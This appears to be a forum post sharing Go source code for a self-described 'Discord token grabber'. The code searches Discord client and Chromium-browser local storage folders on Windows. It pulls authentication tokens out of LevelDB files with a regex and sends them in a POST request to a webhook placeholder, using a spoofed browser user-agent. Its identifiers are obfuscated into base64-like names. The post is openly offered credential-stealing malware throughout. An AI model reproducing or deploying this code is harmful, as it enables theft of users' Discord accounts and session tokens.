Пожалуйста, обратите внимание, что пользователь заблокирован
Very simple discord token grabber.
I'm a beginner and the code is a mess.
I'm a beginner and the code is a mess.
Код:
package main
import (
"bytes"
"fmt"
"io/ioutil"
"net/http"
"os"
"regexp"
"runtime"
"strings"
)
const (
a7Ju57ZuF = "Webhook"
)
func Z2V0RGlycw() (cGF0aHM map[string]string) {
if runtime.GOOS == "windows" {
bG9jYWxsb2NhbGxvY2FsbG9jYWw := os.Getenv("LOCALAPPDATA")
cm9hbWluZ3JvYW1pbmdyb2FtaW5n := os.Getenv("APPDATA")
cGF0aHM = map[string]string{
"Lightcord": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Lightcord",
"Discord": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Discord",
"Discord Canary": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/discordcanary",
"Discord PTB": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/discordptb",
"Google Chrome": bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/Google/Chrome/User Data/Default",
"Microsoft Edge": bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/Microsoft/Edge/User Data/Default",
"Opera": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Opera Software/Opera Stable",
"Opera GX": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Opera Software/Opera GX Stable",
"Brave": bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/BraveSoftware/Brave-Browser/User Data/Default",
"Naver Whale": bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/Naver/Naver Whale/User Data/Default",
}
}
return
}
func ZmluZFRva2Vucw(cGF0aHBhdGhwYXRocGF0aA string) (tokens []string) {
Y0dGMGFIQmhkR2h3WVhSb2NHRjBhQQ := regexp.MustCompile("[\\w-]{24,26}\\.[\\w-]{6}\\.[\\w-]{27,38}|mfa\\.[\\w-]{84}")
cGF0aHBhdGhwYXRocGF0aA += "/local Storage/leveldb/"
files, _ := ioutil.ReadDir(cGF0aHBhdGhwYXRocGF0aA)
for _, file := range files {
name := file.Name()
if strings.HasSuffix(name, ".log") || strings.HasSuffix(name, ".ldb") {
content, _ := ioutil.ReadFile(cGF0aHBhdGhwYXRocGF0aA + "/" + name)
lines := bytes.Split(content, []byte("\\n"))
for _, line := range lines {
for _, match := range Y0dGMGFIQmhkR2h3WVhSb2NHRjBhQQ.FindAll(line, -1) {
tokens = append(tokens, string(match))
}
}
}
}
return
}
func main() {
cGF0aHM := Z2V0RGlycw()
var message string
for platform, cGF0aHBhdGhwYXRocGF0aA := range cGF0aHM {
if _, err := os.Stat(cGF0aHBhdGhwYXRocGF0aA); os.IsNotExist(err) {
continue
}
message += fmt.Sprintf("**%s**\\n```\\n", platform)
tokens := strings.Join(ZmluZFRva2Vucw(cGF0aHBhdGhwYXRocGF0aA), "\\n")
if len(tokens) > 0 {
message += tokens
} else {
message += "I can't find a token here"
}
message += "\\n```\\n"
}
data := []byte(`{"content":"` + message + `"}`)
req, _ := http.NewRequest("POST", a7Ju57ZuF, bytes.NewBuffer(data))
req.Header.Set("user-agent", "Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0")
req.Header.Set("content-type", "application/json")
cl := &http.Client{}
resp, err := cl.Do(req)
if err != nil {
panic(err)
}
defer resp.Body.Close()
}